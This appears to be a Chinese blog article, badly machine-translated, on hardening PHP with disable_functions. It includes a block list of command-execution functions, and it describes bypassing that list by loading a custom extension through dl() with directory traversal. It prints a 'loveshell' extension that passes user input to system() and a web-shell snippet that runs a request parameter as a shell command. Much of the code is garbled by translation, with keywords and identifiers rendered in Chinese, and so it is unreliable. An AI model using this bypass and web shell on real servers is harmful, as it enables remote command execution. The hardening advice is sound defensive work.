php.ini disable_functions 配置 无效,php.ini 启用disable_functions提高安全

如果想保证服务器的安全,请将这个函数加到disable_functions选项里或者将安全模式打开吧,在安全模式下分升函数是无条件禁止的

问:我经营一个小基于Apache 网页服务器供我个人使用,是与朋友和家人共享。然而,大多数的脚本小子尝试利用 PHP的 如应用程序WordPress的使用exec(),passthru(),函数shell_exec(),系统()等函数。如何禁用这些功能来提高我的PHP脚本的安全?

答:PHP有很多功能可以用来打击你的服务器如果使用不当。您可以在php.ini中的函数列表使用disable_functions选项。本指令允许你禁用某些功能,出于安全原因。这需要用逗号分隔的函数名列表。 disable_functions不受安全模式的影响。此指令必须在php.ini中设置,例如,您不能设置在httpd.conf。

打开php.ini文件:

#编辑/ etc / php.ini中

查找disable_functions选项并设置新的名单如下:

查找disable_functions选项然后用下面的替换

disable_functions选项= phpinfo,Exec的,passthru,了shell_exec,系统,proc_open函数popen,curl_exec,curl_multi_exec,parse_ini_file,调试代码

保存并关闭文件。重新启动httpd的:

#服务httpd重新

请注意disable_functions选项不能在外面的php.ini文件中使用,这意味着在每个虚拟主机或目录的方式在httpd.conf文件您不能禁用功能。如果我们加入到php.ini文件:

注意下面的突破方法:建议打开安全模式

PHP的是一款功能强大应用广泛的脚本语言,很大一部分网站都是使用PHP的架构的。因为其提供了强大的文件操作功能和与系统交互的功能,所以大部分的服务器都对PHP的做了严格的限制,包括使用的open_basedir限制可以操作的目录以及使用disable_functions选项限制程序使用一些可以直接执行系统命令的函数如制度,Exec的,passthru,了shell_exec,proc_open等等。但是如果服务器没有对分升()函数做限制,一样可以利用分升()函数饶过这些限制。

分升()函数允许在PHP的脚本里动态加载PHP的模块,默认是加载下extension_dir目录里的扩展,该选项是是PHP_INI_SYSTEM范围可修改的,只能在php.ini文件或者Apache的主配置文件里修改。当然,你也可以通过enable_dl选项来关闭动态加载功能,而这个选项默认为上的,事实上也很少人注意到这个。分升()函数在设计时存在安全漏洞,可以用.. /这种目录遍历的方式指定加载任何一个目录里的,以便等扩展文件,下extension_dir限制可以被随意饶过。所以我们可以上传自己的等文件,并且用分升函数加载这个文件然后利用,以便使文件里的函数执行其他操作,包括系统命令。

PHP_FUNCTION(分升)

(

pval作为**文件;

#ifdef特稿

如果((strncmp(sapi_module.name“的CGI”,3)= 0)&&

(strcmp(sapi_module.name,“cli的”)!= 0)&&

(strncmp(sapi_module.name,“嵌入”,5)= 0))(

php_error_docref(空TSRMLS_CC,一条E_WARNING,“不支持多线程Web服务器-用在你的php.ini文件扩展名的声明”);

RETURN_FALSE;

)/ /验证是否可以使用分升函数,在多线程的Web服务器里是禁止的

#endif

/ *获得参数* /

如果(ZEND_NUM_ARGS()!= 1 | | zend_get_parameters_ex(1,&档案)==失败)(

WRONG_PARAM_COUNT;

)

convert_to_string_ex(文件); / /取得参数

如果(!页码(enable_dl))(

php_error_docref(空TSRMLS_CC,一条E_WARNING,“动态加载extentions没有启用");//验证是否enable_dl,默认为上

)否则如果(中央社(safe_mode设置))(

php_error_docref(空TSRMLS_CC,一条E_WARNING,“动态加载的扩展名时,不允许在安全模式下运行");//验证是否安全模式下打开

否则()

php_dl(*file, MODULE_TEMPORARY, return_value TSRMLS_CC); //开始调用加载

乙二醇(full_tables_cleanup)= 1;

)

下面是开始处理模块的加载

无效php_dl(pval作为*文件,int类型,pval作为* return_value TSRMLS_DC)

(

*无效处理;

字符* libpath;

zend_module_entry * module_entry,* tmp的;

zend_module_entry *(* get_module)(无效);

廉政error_type;

字符*下extension_dir; / /定义一些变量

如果(类型== MODULE_PERSISTENT)(

/ *使用哈希直接配置,该INI机制尚未初始化* /

如果(cfg_get_string(“下extension_dir”,与下extension_dir)==失败)(

下extension_dir = PHP_EXTENSION_DIR;

)

否则()

下extension_dir =页码(下extension_dir);

)/ /取得的php.ini里的设置也就是下extension_dir的目录

如果(类型== MODULE_TEMPORARY)(

error_type =一条E_WARNING;

否则()

error_type = E_CORE_WARNING;

)

如果(下extension_dir&下extension_dir [0])(

廉政extension_dir_len = strlen(下extension_dir);

libpath = emalloc(extension_dir_len + Z_STRLEN_P(文件)2);

如果(IS_SLASH(下extension_dir [extension_dir_len - 1]))(

sprintf(libpath,“%硫%仛”,下extension_dir,Z_STRVAL_P(文件)); / *安全* /

否则()

sprintf(libpath,“%硫%ç%š”,下extension_dir,DEFAULT_SLASH,Z_STRVAL_P(文件)); / *安全* /

)/ /构造最终的等文件的位置,只是简单的附加,并没有对传入的参数做任何检查,包括open_basedir选项等

否则()

libpath = estrndup(Z_STRVAL_P(文件),Z_STRLEN_P(文件));

)

/ *加载动态符号* /

处理= DL_LOAD(libpath); / /开始真正的调用了

看到了吧,我们可以调用任意的让模块等了哦!下一步就是编写自己的,并且调用他。按照官方提供的模块编写方法,我写了个很简单的,主要的导出函数loveshell如下:

PHP_FUNCTION(loveshell)

(

字符*命令;

廉政command_len;

如果(ZEND_NUM_ARGS()!= 1 | | zend_parse_parameters(ZEND_NUM_ARGS()TSRMLS_CC,的“S”,&命令,&command_len)==失败)(

WRONG_PARAM_COUNT;

)

系统(指挥);

zend_printf(“我收到%仛”,命令);

)

注意由于PHP4中和的php5的结构不一样,所以如果想要能顺利调用扩展,那么在PHP4的环境下就要将上面的代码放到PHP4的环境下编译,的php5的就要在的php5环境下编译。我们将编写好的扩展上传到服务器,就可以利用下面的代码执行命令了:

“?PHP的

分升('../../../../../../../../../万维网/用户/ www.cnbct.org / loveshell.so');

$加利福尼亚= $ _REQUEST数组[ç]。“2”&1“tmp.txt”;

loveshell($加利福尼亚);

回声“
”;

回声file_get_contents('tmp.txt');

?“

所以如果想保证服务器的安全,请将这个函数加到disable_functions选项里或者将安全模式打开吧,在安全模式下分升函数是无条件禁止的!:)(责任编辑:大宝库)

你可能感兴趣的:(php.ini,配置,无效)